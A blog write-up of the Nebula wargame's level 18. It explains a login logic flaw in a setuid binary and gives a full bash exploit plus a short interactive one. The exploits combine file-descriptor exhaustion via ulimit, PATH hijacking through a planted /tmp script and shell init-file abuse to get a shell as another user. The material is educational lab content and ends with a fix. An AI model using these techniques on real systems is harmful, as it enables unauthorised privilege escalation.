blog.ferling.eu by Benedikt Ferling


 

exploit-exercises.com/nebula -- Level 18

Level 18 suffers from multiple vulnerabilities. I will discuss the logical flaw. This is a topic that was not discussed till now, yet is highly important since it cannot be detected by machines. Furthermore it covers a lot of interesting details about the linux- and c-process-management.

If interested, one vulnerability in this binary is related to a formatstring-overflow. This topic is related to binary-exploitation.

Problem

  1. Logical flaw!

A logical flaw is not detecable by machines. The machine isn’t able to know the intention of the programmer. The programmer is responsible for correct implementation. In this level the logical flaw can be triggered exploiting another characteristic of linux - the limit of open filepointers.

The logical flaw is inside the function void login(char *pw). If the call of fopen failes, the variable globals.loggedin is set to 1 (line 40) and the user is automatically logged in.

Exploit 1

The hard way :-) This way covers some more interesting parts than the elegant way (Exploit 2).

Linux limits the amount of open files. The value can be read and changed with the utility ulimit. If one don’t want to attract attention(exhaustive usage of filedescriptors in this case), one want to make use of this utility.

In order to exploit this vulnerability, one have to make sure to set a limit of open files for the called process. If the limit prevents the process from opening the password-file, one is automatically logged in.

What happens in the exploit?:
Apart from some preliminaries the following happen:

  1. The binary with its parameters is called: /home/flag18/flag18 --init-file -d /tmp/debug 2>/dev/null
  2. The process gets its input from the command echo -e "login\nlogin\ncloselog\nshell"
    1. The process writes Starting up. Verbose level = 0 to the debug file. This is important since this file will be executed as init-file by the shell in step 2.4.
    2. The first and second login are used to login the user and get the variable globals.loggedin set to 1. At this point all filedescriptors are in use. If one would call the shell now, it would just terminate the process.
    3. Therefore one needs to call closelog. This will free one filedescriptor.
    4. Now call for the shell. The c-function execve will “recycle” the current process(See the manual page for detailed information). argv is passed to it, so the “new” process “thinks” it was called by the name /home/flag18/flag18, although it was called by the name /bin/sh. The arguments for the process are –init-file, -d and /tmp/debug. All error output is still redirected: 2>/dev/null.
      With the parameter –init-file the last parameter is used as a script-file, which is executed. The last parameter is /tmp/debug. So everything inside this file will be executed. The content is:
      1
      2
      Starting up. Verbose level = 0
      logged in successfully (without password file)
      

      It will try to execute a program Starting with the parameters up., Verbose, level, = and 0. We have to make sure, that a program called Starting exists in the shell-variable PATH. Therefore the file is created in the exploit in line 13,14 and 15. The call succeeds and the content in executed. The second line will fail, since there is a syntax error for the shell. This does not matter for the exploit.

  3. After the process terminated, we can see the flag in the file /tmp/flag18.
  4. Cleanup

This is the shellscript which acts as described above:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/bin/bash
############
### VARS ###
############
# store the commands, that should be executed by flag19, inside this file
fileStarting=/tmp/Starting
# write our flag inside this file
fileFlag18=/tmp/flag18
# PATH needs to be customized, because the script 'Starting' is executed
PATH=/tmp:${PATH}
export PATH

#####################
### PRELIMINARIES ###
#####################
# Prepare the file 'Starting' and its content
# this will be executed with the permission of flag18
echo '#!/bin/bash' > "${fileStarting}"
echo "/bin/getflag > '${fileFlag18}'" >> "${fileStarting}"
chmod +x "${fileStarting}"

# create the debug-file
# the binary /home/flag18/flag18 will write the commands, 
# that are executed, inside this file
touch /tmp/debug
chmod +rwx /tmp/debug

# create the flag-file
touch /tmp/flag18
chmod +rwx /tmp/flag18

# set the ulimit, so that we do not need unnessasary ressources. 
# We also do not attract attention with this. 
ulimit -Sn 5

###############
### EXPLOIT ###
###############
# execute the command and exploit
# the parameter --rcfile could have been used instead of --init-file
# The debug file contains the commands that will be executed. 
# It is the script-file-argument for the shell that will be executed. 
commands=`echo -e "login\nlogin\ncloselog\nshell"`
echo "$commands" | /home/flag18/flag18 --init-file -d /tmp/debug 2>/dev/null

##################
### WATCH FLAG ###
##################
# get the flag
cat /tmp/flag18

################
### CLEAN UP ###
################
rm /tmp/flag18 /tmp/debug /tmp/Starting

This exploit is slightly more complicated than anything else till now, yet covers interesting parts of the linux- and c-process-management.

Exploit 2

I assume you read the first exploit. As in the previous exploit one needs to use ulimit to limit the number of open files. The second step is much easier. /dev/tty is a character device, which represents the current controlling terminal. You can use this as init-file for the shell. The advantage is, that it is not only the init-file of the shell but also the debug-file of the program. Thus, one will see all debug-output directly in the shell.

1
2
3
4
5
ulimit -Sn 4
/home/flag18/flag18 --init-file -d /dev/tty
login
closelog
shell

After doing this one will end up in a blank line. However this is a shell. Typing whoami will reveal that this is the shell of the user flag18. One can of course execute getflag to get the flag.

Lesson / How to fix

  1. Be aware of logical flaws! Using the conditional clause in line 27 like this is pointless. If it fails, the user is logged in anyway.

One solution - for this special scenario - is to move the closing curly bracket from line 36 to line 41. This way the logical flaw is removed. However, there are still other problems!


other levels…

00 01 02 03 04 05 06 07 08 09
10 11 12 13 14 15 16 17 18 19